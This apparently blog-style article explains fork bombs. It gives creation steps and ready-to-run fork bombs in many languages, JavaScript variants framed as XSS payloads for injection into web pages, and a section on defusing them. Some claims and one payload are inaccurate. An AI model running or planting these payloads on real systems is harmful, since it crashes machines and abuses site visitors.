Fork Bomb

In computing, a fork bomb (also called rabbit virus or wabbit) is a denial-of-service attack wherein a process continually replicates itself to deplete available system resources, causing resource starvation and slowing or crashing the system. A fork bomb is the equivalent of a DOS attack on your own system. It aims at depriving the system off it’s Random access memory, leaving none for vital functions required to keep the systems running, hence crashing it. Just 5 characters long, the fork bomb is not Deadly to a computer, Just annoying.

How to Create a Fork Bomb

1.Create a new text file.

2.Type and save the following code as a batch file, that is with extension .bat

%0|%0

(That was it.)
Technically, the above 5 characters are short for the following more comprehensible code :

:s
start %0
goto s

Here, the first line creates a sort of checkpoint called ‘s’. It can be used to bring the programs pointer to a specific command, as is done here by using ‘goto’ in the last statement. ‘%0′ is actually the name of the .bat file itself. So every time the loop is run another instance of the same program is called and then both of them run together, to again duplicate themselves.
If that seems too simple to cause any trouble, read on.

Every program doubling itself is a form of exponential growth. After one iteration of the loop, two programs are created. After another cycle, each of those two create another two for a total of four same programs. After 10 iterations we have 2^10 = 1024 programs. After 100 iterations we have 2^100 = 1.267 nonillion, a number so big you don’t even know what ‘nonillion’ is (It’s 10^30).

Even with today’s CPUs and RAMs being in the Giga Range(Ghz and Gb), the first program will probably not even complete 50 iterations before running out of memory. Mind you, every iteration would hardly take a few milliseconds , so running this file will almost definitely crash your computer.

Examples of fork bombs

A fork bomb using the Bash shell:

 :(){ :|:& };:

A fork bomb using the Microsoft Windows batch language:

 :s
 start "" %0
 goto s

The same as above, but shorter:

 %0|%0

An inline shell example using the Perl interpreter:

 perl -e "fork while fork" &

Using Python:

 import os
 while True: 
     os.fork()

Using Ruby:

#!/usr/bin/ruby
loop { fork { __FILE__ } }

Or using Haskell:

import Control.Monad (forever)
import System.Posix.Process (forkProcess)

forkBomb = forever $ forkProcess forkBomb

main = forkBomb

Or using Common Lisp(Clozure CL):

(loop (#_fork))

Or in C:

#include <unistd.h>

int main(void)
{
    while(1)
        fork();
}

In .NET using C#:

static void Main()
{
    while (true) Process.Start(Assembly.GetExecutingAssembly().Location);
}

JavaScript code that can be injected into a Web page via an XSS vulnerability exploit, resulting in a series of infinitely forking pop-up windows:

<script>
while (true) {
  var w = window.open();
  w.document.write(document.documentElement.outerHTML||document.documentElement.innerHTML);
}
</script>

Or, an easier-to-inject, harder-to-censor version of the above that uses an event spoofing attack:

<a href="#" onload="function() { while (true) { var w = window.open(); w.document.write(document.documentElement.outerHTML||document.documentElement.innerHTML); } }">XSS fork bomb</a>

Or, a more aggressive version:

<script>
setInterval(function() {
  var w = window.open();
  w.document.write(document.documentElement.outerHTML||document.documentElement.innerHTML);
}, 10);
</script>

Defusing

Due to their nature, fork bombs can be difficult to stop once started. Stopping a fork bomb from reproducing further requires the termination of all running copies, which can be difficult to achieve. One problem faced is that a separate program to terminate the fork bomb cannot execute if the process table is fully saturated. The second major problem is that in the time taken between finding the processes to terminate and actually terminating them, more may have been created.

Some fork bombs can be stopped relatively easily. Consider the rather obscure shell fork bomb:

:(){ :|: & };:

By replacing the function identifier : with bomb and re-indenting, the code reads:

bomb() {
  bomb | bomb &
};
bomb

The fork bomb in this case is a recursive function that runs in the background, thanks to the ampersand operator. This ensures that the child process does not die and keeps forking new copies of the function, consuming system resources.

One important "feature" in this computer code means that a fork bomb process which can no longer fork doesn't stick around, but rather exits. In this situation, if we also try to run a new process often enough, eventually one will successfully start. If the new process does nothing, each new do-nothing process we run reduces the number of rampant "fork bomb" processes by one, until eventually all of them can be eradicated. At this point the do-nothing processes can exit. The following short Z Shell code might get rid of the above fork bomb in about a minute

while (sleep 100 &) do; done

Alternatively, stopping ("freezing") the bomb's processes can be used so that a subsequent kill/killall can terminate them without any of the parts re-replicating due to newly available process slots:

killall -STOP processWithBombName
killall -KILL processWithBombName

When a system is low on free PIDs (in Linux the maximum number of pids can be obtained from /proc/sys/kernel/pid_max), defusing a fork bomb becomes more difficult:

$ killall -9 processWithBombName
bash: fork: Cannot allocate memory

In this case, defusing the fork bomb is only possible if at least one shell is open. Processes may not be forked, but one can execve() any program from the current shell. Typically, only one attempt is possible.

killall -9 is not executed directly from the shell because the command is not atomic and doesn't hold locks on the process list, so by the time it finishes the fork bomb will advance some generations ahead. So one must launch a couple of killall processes, for example:

while :; do killall -9 processWithBombName; done

On Linux, because the process table is made accessible through the /proc filesystem, it is possible to defuse the fork bomb using bash builtins which do not require forking new processes. The following example identifies offending processes, and suspends them in order to prevent their continuing to fork while they are killed one at a time. This avoids the race condition of other examples, which can fail if the offending processes can fork faster than they are killed.

cd /proc && for p in [0-9]*; do read cmd < "$p/cmdline"; if  [[ $cmd = processWithBombName ]]; then kill -s STOP "$p" || kill -s KILL "$p"; fi; done